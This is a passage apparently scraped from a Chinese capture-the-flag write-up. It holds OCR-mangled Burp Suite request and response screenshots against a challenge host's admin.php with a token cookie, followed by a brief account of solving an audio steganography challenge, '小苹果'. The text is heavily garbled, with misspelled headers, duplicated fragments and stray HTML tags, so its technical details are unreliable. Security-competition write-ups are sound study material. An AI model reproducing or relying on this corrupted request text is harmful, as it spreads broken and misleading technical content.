<td>p://120.132.85.112:2080 <table-cell></table-cell></td></pre></pre></pre></pre></pre></pre></pre></pre>	p://120.132.85.112:2080 <table-cell></table-cell>
Target       Proxy       Spider       Scanner       Intruder       Repeater       Sequencer       Decoder       Cont         1 × 2 ×       Go       Cancel       > *       Follow redirection         Request       Go       Cancel       > *       Follow redirection         Request       Raw       Params       Headers       Hex         GET / Admin.php HTTP/1.1       Host:       102.053.112:2080       Proxy-Connection: keep-alive         Accept:       text/html.application/xhtml+xml.application/xml;q=0.9,i       mage(webp,*/*;q=0.8)       4         Upgrade-Insecure-Requests:       1       Usgrade-Insecure-Requests:       1         Usgrade-Insecure-Requests:       1       Usgrade-Insecure-Requests:       1         AppleVebKt/537.36 (KHTML, like Gecko)       Chrome/50.0.2661.94 Safari/S37.36       8         Referer:       htp://120.132.05.112:2080/login.php       Accept-Insoding:       gzi.pg.2000/login.php         Accept-Incoding:       gzi.pg.30       9       Cookie:       token=e00cf25ad42683b3df678c61f42c6bda	<pre>mparer Extender Options Alerts Target: htt Response Rew Headers Hex HTML Render HTTP/1.1 200 OK Date: Fri, 13 May 2016 01:18:06 GMT Server: Apache/2.4.7 (Ubuntu) X-Powerd-By: PHY-5.5.9-1ubuntu4 Refresh: 3;uul=./index.php Set-Cookie: token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Vary: Accept=Encoding Content-Length: 783 Content-Length: 783 Content-Type: text/html   //meta charset="utf-8"&gt;                                 <td>p://120.132.85.112:2080 <table-cell></table-cell></td></pre>	p://120.132.85.112:2080 <table-cell></table-cell>
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Con 1 × 2 × Go Cancel < > > Follow redirection Request Raw Params Headers Hex GET / admin.php HTTP/1.1 Host: 120.132.05.112:2080 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,i mage/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 User-Agent: Mosilla/S.0 (Windows NT 6.1; WOW64) AppleVebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 Referer: http://120.132.05.112:2080/login.php Accept-Encoding: gzlp, deflate, sdch Accept-Encoding: gzlp, deflate, sdch Acce	<pre>mparer Extender Options Alerts Target: htt Response Raw Headers Hex HTML Render HTTP/1.1 200 OK Date: Fri, 13 May 2016 01:18:06 GHT Server: Apache/2.4.7 (Ubuntu) X-Powerd-By: PHY5.5.9-1ubuntu4 Refresh: 3;url=./index.php Set-Cookie: token-deleted; expires=Thu, 01-Jan-1970 00:00:01 GHT; Max-Age=0 Vary: Accept=Encoding Content-Length: 783 Content-Type: text/html </pre>	p://120.132.85.112:2080 <table-cell> 2</table-cell>

4. 小苹果

用Chrome下载只能下载到几kb的文件不知道是为什么,用百度云才下载下来,感觉第一秒里有杂音,就一直在 用音频处理软件处理第一秒钟,但是试了挺多工具都失败了,就去Google音频加密解密,直到搜到这个神器... 拿到flag



转载于:https://my.oschina.net/u/2616541/blog/687201